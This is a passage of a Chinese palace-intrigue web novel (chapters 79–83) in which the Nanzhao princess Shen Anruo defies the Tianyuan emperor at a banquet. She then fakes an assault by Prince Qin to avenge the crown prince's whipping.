高晚宁一怔,显然没料到沈安若会有此举动,一时之间,脸上青红交加,看着王司记递过来的银子,一时间接也不是不接也不是。 皇后先是懵了一下,随即嘴角的笑意根本就压不住,这凰仪公主这是在打高家的脸,这可是高家的嫡女,居然比作了舞姬。 坐在皇上右侧的高贵妃脸色难看了起来,高家在皇城何时让人这样打脸面? “凰仪公主,这是才艺表演,也是两国的文化交流。” 沈安若听了抬头一脸的笑意。 “本宫知道这是才艺表演啊,可是刚刚天元陛下说的不是自荐吗?高小姐刚刚的舞跳的的确很不错,本宫便给看赏了。” 高晚宁紧紧的捏着拳头,指甲都掐入了手心,拼命的压制着想冲过去给这个凰仪公主一耳光的冲动。 “凰仪公主将在下比作南诏舞姬,敢问凰仪公主这是看不起天元的一众贵女吗?” 沈安若嫣然一笑,甚至眉眼间都带着笑意。 “高小姐把一众贵女去掉吧,毕竟刚刚大家只是给宴会助兴,又没有像高小姐这般要求本宫看赏。” 沈安若这话一落下,原本脸色难看的贵女收起了神色,目光落在高晚宁身上。 也是,基本上宴会都会有这种才艺表演,你自己想表演就表演呗,干嘛非要拉上别人?又不是谁都喜欢表演的。 秦王则看着沈安若,眼里有了一抹兴趣,果然是一个性子烈的,不过这性子越烈征服起来越有感觉。 察觉到四周投过来各种目光,高晚宁只感觉一时间羞愤难当,自己可是高家的嫡女,有一个深受宠爱的贵妃姑姑,秦王更是自己的亲表哥,哪次出门不是被人捧着哄着的? “凰仪公主身为南诏公主,就是这么对待两国的文化交流的?” 沈安若脸上还是云淡风轻的笑意。 “高小姐是要想切磋一下南诏的舞蹈吗?” 不然呢?不然自己跳了半天算什么,高晚宁咬牙切齿的开口。 “这本来就是两国文化的交流。” 沈安若身子微微往后靠了靠,手拐靠在椅子上,伸手食指缓缓划过自己的发际线。 “嗯,高小姐说的的确有两分道理,不过本宫这一次没有带舞姬进宫,下一次有机会再让本宫身边的舞姬与高小姐比试吧。” 又把自己与舞姬比较,高晚宁气得咬牙切齿。 “你……………” 随即目光看向秦王。 “表哥。” 刚刚可是表哥让自己挑衅南诏公主的,表哥总不能看着自己被一个异国公主为难吧! 商玄澈忽然开口。 “高小姐,这是给凰仪公主的接风洗尘宴,既然你已经表演过了,那就接了赏赐回到自己的座位上吧!” 太子居然帮着这个贱人,高婉宁的脸色变得更加难看,无助的看向高贵妃。 “姑母…………” 高贵妃正准备开口说什么。 秦王已经起身,走上前跪下。 “父皇,儿臣今日对凰仪公主一见倾心,想请父皇赐婚。” 说完,目光却有意无意的看向商玄澈,你不是喜欢吗?不是护着吗?本王倒是要看你急不急? 大殿内瞬间静得连针落地的声音都能听见,众人神色复杂了起来。 这南诏公主和亲太子是早就定好的事情,秦王这当众求娶,那岂不是要跟太子相争一个女人? 皇上向来疼爱秦王,对秦王都是有求必应的,这是满朝文武都知道的事情,这一次可是涉及到太子妃,皇上会答应秦王的请求吗? 原本坐在秦王身边的顾思娴脸色苍白,双手紧紧的捏着手中的帕子,那自己算什么?这才刚成亲,他就要求娶别的女子。 沈安若的眼里闪过一抹冷意想,将茶杯捏在手里,嘴角却勾起一抹冷笑。 皇后也黑了脸,呵斥道。 “胡闹。” “秦王,凰仪公主可是未来的太子妃。” 秦王听了抬头看着皇后。 “母后,你刚刚也说了是未来的太子妃,那就是还不是。” 说着看了一眼沈安若。 “都说窈窕淑女,君子好逑,凰仪公主倾国倾城之姿,实在是让人心动不已。儿臣恳请父皇恩准,让儿臣有机会能照顾公主,共结秦晋之好。” 皇上神色凝重,目光在秦王与沈安若之间来回扫视,大殿内的气氛紧张到了极点。 一旁的高贵妃见状,笑着开口。 “皇上,臣妾还是第一次见秦王这么喜欢一个女子,不如皇上就成全了他,他娶了心爱的女子,一会收一收自己的心思,以后一心为皇上分忧。” 天元皇闻言看了看秦王。 “当真喜欢凰仪公主?” 秦王再次看了一眼商玄澈,见他脸色阴沉,更加肯定的开口。 “回父皇的话,儿臣的确对凰仪公主一见倾心。” 天元皇闻言面色为难的开口。 “可是你已经有了秦王妃,凰仪公主是来和亲的。” 秦王听了拱手道。 “凰仪公主金尊玉贵儿臣自然是不能让凰仪公主做侧妃的,可是思娴与儿臣也是刚刚成亲,儿臣也不能对不起思娴,所以儿臣想双妃并列,以后分东西二院,儿臣保证,绝对不会委屈了公主的。” 似乎是担心天元皇不答应,秦王更是抬头撒娇道。 “父皇,儿臣就知道你对儿臣最好,儿臣很难遇到凰仪公主这么特别的人,父皇你就成全儿臣好不好?” 天元皇沉思片刻。 “既然如此,那就…………” 商玄澈心里一沉,起身开口。 “父皇。” 然后走上前,端庄的跪下拱手。 “父皇,儿臣前往南诏的时候就定还的,凰仪是儿臣的准太子妃。” 天元皇眉头一下子皱了起来。 “太子这是要忤逆?” 商玄澈心里一疼,自己只不过是想护住自己的太子妃罢了,怎么就是忤逆了? “儿臣不敢!” “父皇,凰仪公主是儿臣亲自接回来的。” 看着商玄澈憋屈的样子,秦王朝商玄澈拱手。 “太子殿下,本王知道你接凰仪公主一路辛苦,太子殿下放心,本王一定会备好重礼好好的谢谢太子殿下把本王的王妃接回来!” 天元皇缓缓开口。 “南诏到天元山高路远,秦王你的确该准备一份厚礼多谢太子。” “太子,回座位上去吧,身为储君,跟自己的弟弟抢一个女人像什么样子。” 这个天元皇估计脑子有什么大病,沈安若忽然一笑。 “天元陛下,本宫冒昧的问一句,天元这是要换储君吗?” 第七十九章 一人战翻百官 换储君,储君乃是稳固国本之根本,很快就有大臣起身上前跪下。 “皇上三思。” “太子殿下自从担任储君以来一直兢兢业业,勤勉于政,实乃国之栋梁。而秦王虽有才华,但储君之位已定,轻易动摇,恐动摇国本,引发不必要的纷争。” 很快另外一个大臣也起身。 “御史大人说得对,还望皇上三思。” 天元皇脸色微沉,显然没想到沈安若会如此直接地质问。 “凰仪公主,朕何时说要换储君了?” 低头的御史大人眼里闪过一抹光芒,皇上你的确没有说要换储君,可是原本与太子青梅竹马的顾小姐成为了了秦王妃,这定好的南诏公主也要给秦王,这跟要废储君有什么区别? 面对天元皇释放出来的威压,沈安若依旧一脸的笑意,可是语气却带上了几分冷意。 “所以本宫千里迢迢地来到天元,天元陛下是要告诉本宫,天元并不看重与南诏的这一场和亲?又或者天元陛下已经准备随时出兵攻打南诏?” 这话就重了,已经是要挑起两国纷争了,大殿里面的人更是大气都不敢出。 商玄澈看向沈安若。 “若若。” 沈安若却递给他一个安心的眼神。 自己身为帝王何时被这样逼迫过?天元皇脸色都变黑了。 “简直就是一派胡言。” 天子一怒,伏尸百万。 大殿里的人都纷纷跪下。 “请父皇息怒。” “请皇上息怒。” 只有沈安若依旧坐着。 脸上还是带着那万年不变的笑意,似乎等着天元皇的答案。 王司记甚至抬手给她续了茶,这天元皇给人一种昏君的感觉。 剑兰剑柏忍不住紧张的摸了摸腰间。 虽然一直都知道公主只是看起来很好说话,但是也没有想到刚起来的时候这么刚啊。 等一下,要是打起来就是拼了,这条命都要保护公主的安全。 天元皇看向沈安若,她居然一点都不怕。 “凰仪公主,你是南诏公主,一言一行都代表着南诏,还望公主谨言慎行。” 沈安若依旧没有半点惧意,轻轻一笑。 “就是因为本宫是南诏公主,一言一行都代表南诏,所以今日更是要问清楚。” “本宫只想问天元陛下一句话,南诏与天元的和亲,天元是否是诚心诚意?” 天元皇缓缓开口。 “和亲自然是诚心诚意的。” 沈安若直视着天元皇。 “既然陛下看重两国的联姻,那为何说好的本宫是天元的太子妃,本宫这不远千里的来了,又要让本宫做什么秦王妃,还是与别的女人共侍一夫?” 原来是在意身份问题,天元皇沉声开口。 “凰仪公主,虽然是和亲,可朕也希望公主能够有一个疼爱自己的知心夫君,秦王虽然不是储君,却也是天元一人之下万人之上的秦王。” 好一个万人之上一人之下,一个王爷都敢这么称为一人之下了,那储君又算什么?沈安若脸上的笑意已经变得讽刺。 “那又如何?” “当初两国谈联姻的时候就谈好的,本宫嫁的是天元太子,南诏皇舅舅给本宫的赐婚圣旨上写的也是天元太子。” 说着从手袖里将南诏皇的圣旨拿了出来放在到了桌子上。 “天元陛下刚刚说重视联姻,那么可否是在本宫成亲之前要更换储君?” “若是更换储君,为什么不更换好了,再与南诏谈论联姻之事,本宫不过就是一个身在异国他乡的弱女子罢了,陛下何苦为难本宫?” 弱女子?弱女子敢跟一国之君刚的?还是这副云淡风轻的样子,跪在地上的大臣已经忍不住抬手擦额头上冒出来的冷汗了。 明明是冬天啊,可就是忍不住出汗。 这凰仪公主还真是一个不知好歹的,高相缓缓开口。 “凰仪公主,这里是天元,坐在上面的是天元的国君,还容不到你一个小小的南诏公主来质问。” 王司记低头开口提示。 “这是高相,秦王舅舅。” 沈安若看向高相,因为高相现在是跪着的,可她是坐着的,给人几分居高临下的感觉。 “所以高相的意思是南诏不过就是弹丸小国,天元从来没有放在眼里吗?” 果然,唯女子与小人难养也,自己当丞相这么多年,从未见过如此牙尖嘴利的女子,高相冷声开口。 “老夫不是…………” 沈安若甚至都没有听他把话说完,直接将目光看向了天元皇。 “所以天元陛下,天元从未看得起南诏对吗?” 一次又一次的被质问,天元皇只感觉自己的耐心都被消耗殆尽了。 “天元没有这个意思,既然你不愿意嫁秦王,这事就算了。” 这性子比自己想的还要烈,秦王缓缓开口。 “原本本王还以为凰仪公主这般倾国倾城之姿,一定有一颗七窍玲珑心,与寻常女子不一般,没想到已是一个在乎身份的寻常女子。” 今日还真是一点都不让人消停啊,沈安若看向秦王。 “所以秦王殿下是不在乎自己的身份吗?” “既然不在乎自己的身份,那不如求了天元的陛下,废除你的秦王爵位,让你当一个寻常的百姓如何?” 秦王没想到沈安若会如此犀利地反将一军,一时语塞,脸色微变。 高贵妃见自己的儿子居然在一个女人的手里吃瘪了,语气不善的开口。 “凰仪公主还真是言辞犀利,让本宫刮目相看。” 沈安若看了一眼众人,一脸端庄的笑意,可是眼里却是一片冰凉,甚至浑身散发着冷意。 “南诏为了彰显这次和亲的诚意,所以让南诏最宠爱的公主前来和亲,本宫之所以会是南诏最宠爱的公主,不就是仗着本宫的母亲是皇帝舅舅的姐姐吗?所以这个身份本宫自然是在意的。” “另外,本宫既然是南诏的和亲公主,自然为的是两国的交好和平而来,本宫的夫君必须是一心为天下百姓谋福祉的储君,也是未来的君王,不然本宫这千里迢迢的来做什么的?嫁人吗?南诏是没有男子吗?” 秦王听了看向沈安若。 “所以凰仪公主只会爱天元储君这个身份吗?至于嫁的人是谁根本就没关系吗?甚至可以嫁给不爱的人吗?” 商玄澈的眉头皱了皱,手忍不住发紧。 沈安若不紧不慢的喝了一口茶。 “本宫乃是南诏公主,南诏皇舅舅教导本宫,皇室子女,受百姓供奉,自然要忧百姓所忧,脑子里若是只有情情爱爱,又或者只会与兄弟姐妹争宠夺爱权势不择手段,根本不配担任起皇室子女几个字。” 第八十章 不当人啊 这不就是说秦王眼里只有情情爱爱,或者就是只会跟自己的兄弟争宠夺权,眼里没有百姓,根本就不配为皇室子弟吗? 众人忍不住倒吸一口冷气,这凰仪公主是真敢说啊。 这辈子从未如此丢脸过,秦王拳头紧握。 “你…………” 天元皇沉声开口。 “好了,好好的宴会闹成这个样子,成什么体统?” “都坐回自己的座位上去吧。” 目光看向沈安若。 “凰仪公主,刚刚的事的确是朕考虑不周了,你与太子的婚事朕会让钦天监挑选一个合适的日子,让你们尽快成亲。” 沈安若心里虽然不甘心,可事情也只能到此结束,毕竟自己是来和亲,真要让天元皇发怒也是得不偿失的,脸上扬起一抹温和的笑意。 “多谢天元陛下,凰仪初来乍到,对于天元许多礼节也有不清楚的地方,若是不小心冒犯了,还望天元陛下海涵。” 众人都缓缓坐下,有人只感觉自己腿都是抖的,刚刚的事情实在太过于惊悚。 秦王听着让他们成亲的话满眼的不甘心。 皇后则松了一口气,刚刚自己的那颗心都差一点跳出来了。 商玄澈坐在沈安若的身边,目光看向她,满眼都是她。 她刚刚是为了自己阴阳秦王对吧! 天元皇看向沈安若,又看了看坐在她身边的商玄澈。 大意了,这个南诏公主有点不一般啊。 这要是当了太子妃,只怕是以后对秦王无益啊。 “凰仪公主的确不太清楚天元的礼节与规矩,往后凰仪公主就是天元太子妃了,太子一路没有跟公主说清楚天元的礼节与规矩吗?” 这特么的胡搅蛮缠啊。 简直就是有失君王风度。 商玄澈起身拱手。 “的确是儿臣没有给公主讲清楚,儿臣今日宴会结束以后会跟公主讲清楚天元礼节的。” 天元皇缓缓开口。 “既然是你没有给公主讲清楚天元的礼节,才导致了这场闹剧,这宴会也差不多结束,你领了三十鞭回去吧。” 握草,沈安若真的是忍不住想要爆粗口,这天元皇特么根本就不当个人。 “天元陛下…………” 天元皇冷声开口。 “凰仪公主,这是天元的事情。” 好,好好好,好得很,沈安若是真的被气到了。 皇上这是在凰仪公主那里受气了,但是又不好对和亲公主责罚,故意拿太子出气,皇后见状一脸悲伤的开口。 “皇上…………” 天元皇冷冷的看了她一眼,不像是看自己的结发妻子,反而像是在看一个仇人。 “皇后若是不服,那不如与太子一起受罚。” 李家的人见状急忙起身行礼。 “皇上…………” 今日不让父皇出一口恶气,只怕是母后在后宫也要受罪了,商玄澈拱手道。 “臣甘愿受罚。” 很快来到了殿外,商玄澈脱掉了外衣,就身着里衣跪下。 因为天元皇没有让大家走,所以来参加宴会的人都站在不远处看着。 沈安若脸上万年不变的笑意有些维持不住了,这是有意要在众人面前折辱商玄澈,当爹当成这个样子,当真是天底下独一份了。 太监很快拿了鞭子,一鞭子又一鞭子的抽在商玄澈的背上。 很快商玄澈的背就开始见血,皇后看得直掉眼泪,在一旁低声喊着。 “澈儿…………” 又朝天元皇跪下。 “皇上,臣妾愿意替澈儿受罚,你饶了澈儿吧。” 天元皇冷声开口。 “皇后若是再求情,朕就让人给他多加十鞭。” 皇后身边的嬷嬷急忙把皇后扶起来,低声开口劝导着。 “娘娘,起来吧,不要再惹恼了皇上。” 当贵妃在一旁看得满脸的笑意,甚至忍不住拿手帕挡住自己扬起的嘴角。 大臣们则神色各异,有心疼的,有嘲讽的,有幸灾乐祸的,也有无奈的。 鞭子的声音还在响起,随着每一鞭子落下,商玄澈的背上就多了一条血痕。 沈安若紧紧地掐着手心,每一次鞭子响起的声音,都似乎抽在了自己的心尖上,还是不够强大,才让人敢如此欺辱。 秦王看着挨打的商玄澈,又看着沈安若咬牙切齿的样子,走沈安若的身边。 “公主怎么不笑了?是不爱笑了吗?” 这人欠收拾,沈安若抬头看了他一眼,没有说话,而是看了一眼台阶,朝台阶上走去。 秦王见状愈发的得意起来,抬脚跟了上去。 “公主,看到了吗?” “他就是一个不得宠的废物,连自己都护不住,以后怎么护着公主。” “凰仪公主,趁着还未成亲,你若是现在嫁给本王,本王以后还能让你在这天元好好的活下去。” “不过,你给本人当王妃是不可能了,你要是求一求本王,本王可以大发善心,让你当一个侧妃。” 差不多了,沈安若看着已经站在身边的秦王,转身背对台阶的方向,也背对了众人,脸上扬起一抹笑意,刻意压低了声音。 “秦王殿下是在嫉妒太子吧?” “嫉妒太子是嫡出,嫉妒他生来就是太子,现在更是嫉妒他有一个美丽的太子妃。” 秦王听了气愤的开口。 “你胡说…………” 沈安若忽然撩了一下自己耳边的碎发。 “秦王殿下,本宫美吗?” 她的那双眼睛,似乎要把人的灵魂都勾出来,媚眼如丝,秦王差一点看呆了。 沈安若继续开口。 “可是本宫这么美的人是太子妃呢,你以后见了本宫得喊一声皇嫂。” “本宫这脸好看吧?可是只有太子能碰,秦王你摸不到呢?” 秦王忍不住抬手,又缩了回去。 怂货,沈安若嘴角勾起一抹嘲讽。 “喜欢本宫又怎么样?你敢摸本宫得脸吗?” “你敢吗?” 秦王再也忍不住,伸手就朝沈安若的脸抹去。 沈安若的脸闪过一抹光芒。 就是现在。 忽然抓住了秦王的手腕,用力一巴掌打在了自己的脸上。 “啊…………” 随着沈的尖叫声响起,原本看太子受罚的众人循声而望去,只看见秦王一巴掌打在沈安若的脸上,而沈安若从台阶上滚了下来。 王司记发出一声惊呼。 “公主………” 商玄澈也急了,站起来一下子推开了行刑的太监。 “若若!” 第八十一章 双倍还 王司记急忙跑过去,将沈安若扶在自己的怀里。 只见沈安若脸上带着清晰的巴掌印,额头上也流血了。 王司记一阵心疼。 “公主,公主你怎么样?” 沈安若满脸的惊恐,眼泪不停的从眼角滚落。 “呜呜呜,姨母,我要回家,我要回去找舅舅。” “秦王他要杀我…………” 秦王看着自己的手,她故意的。 “你胡说,本王没有…………” 沈安若在王司记的怀里哭的上气不接下气。 “姨母,秦王刚刚说,天元太子就是一个连自己都护不住的废物,以后更不可能护着我,他说天元的除君之位迟早是他的,因为皇上不喜欢太子,迟早都会废了太子的……………” “他刚刚威胁我,他说我要是不嫁给他,等到太子被天元皇废了以后,他就将我弄到他的府中夜夜折磨,还要杀了太子…………” “姨母,这世间怎么有这么可怕的人,居然要强要自己的嫂子,还要杀了自己的兄长,这里太可怕了,我要回家,我要回去找皇帝舅舅,我不要和亲了…………” 皇上不喜欢太子,这是众所周知的事情,看着凰仪公主脸上明显的五指印,还有额头上流出的血,众人忍不住同情了起来。 这一个女子异国他乡和亲,居然被天元的夺嫡之争卷入了进来,而且还是刚来就受伤了。 商玄澈拳头紧握,秦王他怎么敢?怎么敢对若若有这样龌龊的心思。 带着伤的冲过去。 “商玄启,你该死。” 一拳头打在秦王的脸上。 “男人之间的事情,你不应该为难一个女人。” 秦王毫不客气的还手,商玄澈身上本来就有伤,也挨了秦王一拳。 天元皇脸色阴沉。 “住手,还不快拉开。” 很快侍卫上前将人拉开。 很快有大臣上前行礼。 “陛下,凰仪公主是和亲公主,秦王此举实在是不妥。” 沈安若拉了拉王司记的衣服,王司记给剑兰一个眼神。 剑兰急忙过来将沈安若抱在自己的怀里。 王司记看向天元皇。 “陛下,我们南诏虽然不比你们天元兵马强大,可是天元也不能欺人太甚,我们公主千里迢迢而来,这才见你们天元皇室的第一天,居然就被你们天元的皇子打了,这可是南诏捧在手心里的公主,今日还请天元陛下给一个交代,不然妾身立即就带我们公主回南诏。” 刚刚在宴会上被南诏公主威胁,现在还要被她身边的一个奴婢威胁,天元皇浑身都散发着怒意。 “你一个小小的婢女,居然敢威胁朕?” 王司记手袖里的手紧了紧,手心里面都是汗水,可还是抬头挺胸。 “妾身就算是婢女,也是南诏公主身边的婢女,天元陛下,您也是有公主的人,若是你的公主和亲,刚去就被打了,请问陛下心里作何感想?又请问陛下,可否还觉得有和亲的必要?” “这自古以来,皇室的夺嫡之战在每一个国家都有,妾身也是在南诏皇室过来的,可是也没有见过哪一个皇子对一个女人在大庭广众之下大打出手,更何况还是对和亲公主。” “秦王在大庭广众之下都打伤我们公主,将她推下了台阶。” 随即目光看向天元的一众大臣。 “诸位,你们的家中也是有女儿的吧?看看我们公主脸上的巴掌印,看看我们公主额头上的伤,这就是你们尊贵的秦王殿下打的,今日当着这么多的人,他都敢公然威胁暴打我们公主,明日是不是就要我们公主的命?” “我们南诏公主是来和亲的,是来促进两国交好和平的,不是来送命的。” 王司记的声音郑地有声,此时沈安若已经站起来了,只是整个身子都靠在剑兰怀里,随时都要晕过去的样子,因为她站起来了,众人也能更清楚的看清她脸上的伤。 一时间神色都复杂了起来,这可是南诏最宠爱的公主,这刚来就被秦王打成这个样子,这秦王如此冲动行事莽撞,这还如何………… 此时御史大人上前跪下。 “皇上,不论如何,秦王殿下实在是不该对一个女子下如此狠手,还望皇上处罚秦王,给南诏公主一个交代。” 陆陆续续的又有大臣跪下。 “皇上,即便是秦王殿下与太子殿下之间有过节,也不应该对和亲公主大打出手,事关两国和亲,秦王殿下实在过于冲动了。” “皇上,凰仪公主是为了两国和平交好而来,我们天元应该以礼相待,彰显我们大国风范,实在不应该……………” “皇上,凰仪公主初来乍到,就受了这么大的委屈,皇上应该给凰仪公主做主才是。” 天元皇脸色更加阴沉,他瞪视着秦王,自己以往真的是太宠他了,才能让他在众目睽睽之下如此冲动让人抓住了把柄。 秦王的脸色也非常难看,他没想到这个南诏的婢女会如此厉害,几句话就把他逼到了如此境地。 “父皇,你听儿臣解释,是她故意激怒儿臣…………” 王司记再次厉声开口。 “秦王殿下,刚刚可是所有人都看到的,你打了我们的公主,将她从台阶上打了滚下来,你什么都想跟太子殿下争,得不到就想毁了我们公主,可是这是我们南诏的公主,不是你们天元的,这件事,今日妾身是一定要一个交代的,不然妾身就是拼了这一条性命,也要带着我们的公主离开这个是非之地。” 沈安若又哭了。 “姨母,我的头好痛…………” 王司记急忙走到她的身边,心疼的开口。 “公主别怕,妾身这就带你回南诏,皇上要是知道公主受了这么大的委屈,一定会带兵将公主接回去的。” “剑兰,抱着公主,我们回家。” 这要是让南诏公主带伤就这么走了,两国关系只怕是就此破裂了,而且这件事的确是天元理亏,若是传了出去,只怕要被其他国家耻笑了,更严重一点,以后只怕没有人再敢把公主嫁到天元来和亲,天元皇阴沉着脸开口。 “等等。” 随即看了看秦王,秦王这冲动的性子也该磨一磨了。 “秦王伤了南诏公主,鞭笞三十。” 沈安若从剑兰怀里下来,抬头看着天元皇,没有说话。 天元皇忍不住有一些心虚。 “凰仪公主还不满意吗?” 沈安若缓缓开口。 “六十鞭,再在这大殿门外跪四个时辰,这件事一笔勾销,本宫也不会告诉南诏皇。” 第八十二章 等你动手 六十鞭,四个时辰,都是自己受罚的双倍,商玄澈猛然看着沈安若,她在给自己报仇,她拿自己的命为自己讨公道。 高贵妃着急的开口。 “六十鞭,在跪上四个时辰,凰仪公主这是想要了秦王的命吗?” 沈安若闻言冷声开口。 “高贵妃,需要本宫提醒你吗?刚刚秦王可是在众目睽睽之下想要本宫的命!” “怎么,天元皇子的命是命,南诏公主的命就半文不值了吗?” 说完,整个人又虚弱的靠在剑兰的怀里。 王司记配合着开口。 “天元陛下,我们公主伤的很重。” 天元皇看了看沈安若。 最终开口。 “鞭子今日打,罚跪等秦王伤好了以后罚跪。” 沈安若虚弱的开口。 “可以,但是本宫要看着行刑。” “另外。” “天元太子在南诏的时候,再三给南诏皇保证过的,会护本宫周全,本宫要天元太子亲自保护本宫的安全,照顾本宫的伤势。” 这性子还是真倔啊,天元皇冷声开口。 “给凰仪公主搬一把椅子来。” 自己长这么大,从未被罚过,秦王脸上有了一抹慌乱之色。 “父皇…………” 天元皇厉声呵斥。 “闭嘴。” 沈安若再次开口了。 “天元太子这身上的伤不轻,本宫觉得他要是站太久了,怕是照顾不了本宫。” 她的意思再明显不过,这不过就是一个小要求,天元皇再一次开口吩咐。 “给太子搬一把椅子来。” “准备行刑。” 沈安若与太子缓缓坐下。 苍术上前将披风披在太子的身上。 秦王被人脱了外衫,只有里衣的跪在中间,行刑的太监抬手一鞭子抽在了他的身上。 秦王闷哼一声,脸上随即浮现出痛苦的表情。 一抬头,就见沈安若与商玄澈坐在自己前方,眼底恨意滋生,这对贱人。 沈安若看到他满眼恨意的眼神,众目睽睽之下伸手握住了太子的手。 对视上秦王的眼睛,眼里一片冷意。 这是我的男人,不是你能动的。 太监一鞭子又一鞭子的抽在秦王的身上。 秦王的背上很快便皮开肉绽,鲜血淋漓,他的脸色也变得越来越苍白。 忍不住喊出痛呼声。 “啊…………” “啊…………” 高贵妃在一旁看着,心疼得直掉眼泪,几次想要开口求情,都被高相拦住了。 高相看着沈安若,眼里闪过一抹光芒,这个南诏公主不能留了。 沈安若听着他的惨叫声,眼里闪过一抹快意,这场宴会还是来的值得的。 “秦王殿下刚刚不是还说别人是废物吗?” “本宫记得太子殿下受鞭刑的时候可没有这么大呼小叫的?” “所以秦王你这是废物都不如吗?” 听着沈安若讽刺的话,众人看了看秦王,又看了看太子。 的确,刚刚太子也被打得皮开肉绽,可硬是扛了下来,这对比之下,谁是废物太过于明显了。 甚至有的大臣不住悄悄抬头看了一眼天元皇。 也不知道皇上是怎么想的,明明太子各方面都符合储君的标准,偏偏要一味地偏袒秦王。 六十鞭很快就打完了,秦王已经瘫软在地上,无法动弹。他的背上血肉模糊,看起来十分骇人。 高贵妃再也忍不住,跑过去想将秦王扶起来,却发现自己无从下手。 哭喊着开口。 “来人,快宣太医。” 商玄澈目光担忧的看了一眼皇后,若是自己带着若若回太子府,母后在宫里会不会被父皇为难? 皇后开口道。 “澈儿,凰仪公主这伤看着很严重,这一个姑娘万一留下疤痕…………” “要不还是去母后宫里,先让太医来给凰仪公主看看吧。” 商玄澈起身朝轩辕皇拱手。 “陛下,臣先带公主去…………” 沈安若在剑兰的搀扶下站起来,却一下子又倒在了剑兰的怀里。 剑兰一声惊呼。 “公主!” 急忙将沈安若抱起来。 商玄澈看着见状原本苍白的脸色更加苍白了。 “若若…………” 此时太医也赶来了。 还好传太医的太监聪明,带来了两个太医。 天元皇见状急忙开口。 “快给秦王和凰仪公主看看。” 很快太医给沈安若把脉。 “皇上,凰仪公主这是头部受到了重力撞击所以晕厥过去了,这头受伤了事可大可小,这又是冬天见了风…………” 天元皇看了一眼皇后。 “皇后,你还愣着做什么?还不带凰仪公主下去医治修养。” 一阵兵荒马乱,沈安若被带到皇后的凤仪宫修养。 秦王则去了高贵妃的翊坤宫。 御书房。 天元皇一脸阴沉,伺候的太监小心翼翼的斟茶。 这个凰仪公主不好控制啊。 贴身太监陈平恭敬的进来,小心翼翼的开口。 “皇上,给凰仪公主看诊的太医来了。” 天元皇微微点头。 很快一个太医进来恭敬的行礼。 “皇上。” 天元皇沉声开口。 “凰仪公主当真晕过去了?” 太医拱手道。 “回皇上的话,臣在凤仪宫又确认了一遍,凰仪公主的确是晕过去了,而且明日能不能醒都得看情况,她头部撞击严重,也不知道里面有没有撞出问题。” 天元皇听了低声呢喃。 “真晕了吗?” “看来这个秦王………” 凤仪宫商玄澈坐在床边,手紧紧的握住沈安若的手眼眶发红。 从未有人这样护过自己。 自己是何德何能才能让她来到这个陌生的地方就如此相护。 皇后在一旁担忧的开口。 “澈儿,凰仪公主的伤已经包扎过了,母后帮你守着,你去处理你身上的伤好不好?” 太子微微摇头。 “儿臣要守着她。” 这太子现在看着倒是一个有情义的,王司记在一旁缓缓开口。 “太子殿下,妾身知道你担心公主,可是你这一身的伤,若是不及时处理,公主看到了只怕是要担心的,公主这里有妾身照料就好。” 皇后也在一旁开口劝导道。 “是啊澈儿,虽然母后今日也是第一次见凰仪公主,但是母后看得出来,公主她是护着你的,哪怕是为了公主不担忧,你还是先处理一下自己身上的伤吧。” 说着皇后更是去扶商玄澈。 “你处理好了伤,再来陪着公主。” 最终商玄澈被皇后带走去处理鞭伤。 看着屋里伺候的宫女,王司记开口道。 “屋里人太多了影响公主休息,你们都退下吧,剑柏,你去门口守着,不要让别人打扰了公主,这里有我和剑兰就好。” 客人都发话了,当宫女的只能照着,几个宫女默默行礼退下。 剑柏也去外面守着,剑兰快速的检查一下屋里窗外,确定没有人以后,才拿出一个瓶子打开,在沈安若鼻尖晃了晃。 很快沈安若醒来。 王司记压低了声音。 “公主,你感觉怎么样?你可吓死妾身了。” 沈安若抬手,剑兰将她扶了起来。 王司记急忙给她倒来了一杯水。 沈安若缓缓喝下。 “让姨母担忧了,放心吧,本宫有分寸。” 毕竟秦王都晕过去了,自己不晕说不过去。 自己也是在皇宫里面见过风浪的人,没想到今日公主会下这么大一盘棋,看来自己以后还得提升能力,王司记担忧的开口。 “公主,高贵妃看公主的眼神………秦王被打了六十鞭只怕高贵妃恨上公主了。” 沈安若闻言轻轻一笑。 “岂止是高贵妃恨上本宫了,只怕整个高家和秦王一党都恨上本宫了。” 王司记看着沈安若,眼里带着一抹担忧。 “那接下来公主需要妾身做什么?” 沈安若沉思片刻。 “等!” 王司记诧异的开口。 “等?” 沈安若微笑着,眼里却带着一抹光芒。 “对,等,等秦王醒过来,等高贵妃对本宫动手。” 第八十三章 表小姐 商玄澈这边。 太医给商玄澈上了药,皇后看着换下来在一旁带着血迹的衣服,眼里都是心疼。 “澈儿,凰仪公主是一个有胆识的,只是今日她的所作所只怕是让你父皇更加忌惮了,往后你还是劝劝她,性子莫要如此的………不然在连累了你可如何是好?” 听着皇后所说的话,商玄澈忍不住皱眉,抬头看着皇后,眼里带着一抹失望。 “母后,这么多年了,你还没有明白吗?” 皇后疑惑的看着他。 “什么?” 商玄澈目光沉沉,一字一句。 “母后,陛下不喜欢儿臣,不论儿臣做什么都是错的,他想为难儿臣,从来都不缺理由,只要儿臣是太子,他就忌惮儿臣,更是容不下儿臣………” 皇后还是第一次听太子说如此大逆不道的话,着急的开口。 “澈儿,你别这么想,那是你的父皇。” 父皇?可自己只能叫他陛下啊,甚至都不能自称儿臣,若不是因为有李家支持,他早就废了自己了。 “母后,这么多年,父皇对秦王的偏袒您还看不出来吗?他一心想要扶持秦王上位,打压儿臣,不过是觉得儿臣挡了秦王的路。” 商玄澈声音中带着一丝苦涩,这些年,自己处处忍让,换来的不过是他的猜忌,他的偏心。 皇后听得眼里闪过一抹自责,是啊,这么多年的偏心,自己又何尝看不见呢? “是母后不好,是母后不得你父皇欢喜,才让你父皇对你…………” 商玄澈看着皇后开口。 “母后,这不是你的问题,若是陛下不喜欢你当初他就不该娶你,既然娶了你,就应该把你当做妻子来对待。” 看着皇后越来越苍白的神色,商玄澈无奈的开口。 “母后,你与陛下之间的事情你只能靠你自己想明白,但是若若是儿臣好不容易求回来的太子妃,母后,你不能对她有任何的偏见,儿臣去看看若若。” 说完就起身在苍术的搀扶下朝偏殿走去。 皇后看着他离开的背影,心里一时间五味杂陈,凰仪公主的性子太冲了,今日当众反驳陛下,做事根本不顾及后果,这以后还不知道会出多少事呢,罢了他不愿意劝,自己找一个机会劝一劝凰仪公主吧。 翊坤宫。 秦王的伤也包扎好了,六十鞭子,他的整个背都烂了,鲜血透过层层绷带隐隐渗出,染红了里衣。 他趴在榻上,脸色惨白如纸,尽管人已经晕过去了,可还是有豆大的汗珠从额头滚落,浸湿了枕畔的锦缎。 太医朝高贵妃拱手。 